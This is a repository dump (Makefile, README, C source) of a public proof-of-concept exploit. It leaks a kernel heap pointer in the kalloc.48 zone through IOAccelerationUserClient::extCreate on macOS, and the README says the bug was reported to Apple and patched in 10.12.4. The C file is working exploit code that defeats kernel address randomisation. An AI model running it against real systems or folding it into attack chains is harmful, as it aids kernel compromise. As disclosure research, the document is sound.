├── Makefile ├── README.md └── IOAccelerator-leak.c /Makefile: -------------------------------------------------------------------------------- 1 | TARGET = IOAccelerator-leak 2 | 3 | all: $(TARGET) 4 | 5 | CFLAGS = -O3 -Wall -Werror -Wpedantic 6 | 7 | FRAMEWORKS = -framework IOKit 8 | 9 | $(TARGET): $(TARGET).c 10 | $(CC) $(CFLAGS) $(FRAMEWORKS) -o $@ $^ 11 | 12 | clean: 13 | rm -f -- $(TARGET) 14 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## IOAccelerator-leak 2 | 3 | IOAccelerator-leak is a proof-of-concept exploit for a kernel heap pointer disclosure in 4 | IOGraphicsFamily that was fixed in macOS Sierra 10.12.4. I reported this bug to Apple but do not 5 | know whether it was assigned a CVE. This vulnerability can be triggered to leak the address of an 6 | element in the `kalloc.48` zone. 7 | 8 | ### The vulnerability 9 | 10 | The `_CreateID` function in `IOAccelerator.cpp` uses the lower 32 bits of a kernel heap pointer as 11 | an object ID that eventually gets passed to user space. This function is accessible via the 12 | `IOAccelerationUserClient::extCreate` external method. By retrieving the ID parameter in user space 13 | and supplying the upper 32 bits (which are highly predictable), it is possible to recover a kernel 14 | pointer into the `kalloc.48` zone. 15 | 16 | ### License 17 | 18 | The IOAccelerator-leak code is released into the public domain. As a courtesy I ask that if you 19 | reference or use any of this code you attribute it to me. 20 | -------------------------------------------------------------------------------- /IOAccelerator-leak.c: -------------------------------------------------------------------------------- 1 | /* 2 | * IOAccelerator-leak.c 3 | * Brandon Azad 4 | * 5 | * IOGraphicsFamily heap pointer leak in IOAccelerationUserClient::extCreate on OS X 10.11.2. 6 | */ 7 | 8 | #include 9 | #include 10 | 11 | static int IOAccelerator_heap_leak(uint64_t *kalloc_48) { 12 | io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, 13 | IOServiceMatching("IODisplayWrangler")); 14 | if (service == IO_OBJECT_NULL) { 15 | return 1; 16 | } 17 | io_connect_t connect; 18 | kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &connect); 19 | IOObjectRelease(service); 20 | if (kr != KERN_SUCCESS) { 21 | return 2; 22 | } 23 | uint64_t input[2] = { 0, 0 }; 24 | uint64_t ptr; 25 | uint32_t output_count = 1; 26 | kr = IOConnectCallMethod(connect, 0, 27 | input, 2, NULL, 0, 28 | &ptr, &output_count, NULL, NULL); 29 | IOServiceClose(connect); 30 | if (kr != KERN_SUCCESS) { 31 | return 3; 32 | } 33 | if (output_count != 1) { 34 | return 4; 35 | } 36 | *kalloc_48 = (ptr & ~0x1f) | 0xffffff8000000000; 37 | return 0; 38 | } 39 | 40 | int main() { 41 | uint64_t kalloc_48; 42 | int err = IOAccelerator_heap_leak(&kalloc_48); 43 | if (err) { 44 | return err; 45 | } 46 | printf("kalloc.48: 0x%016llx\n", kalloc_48); 47 | return 0; 48 | } 49 | --------------------------------------------------------------------------------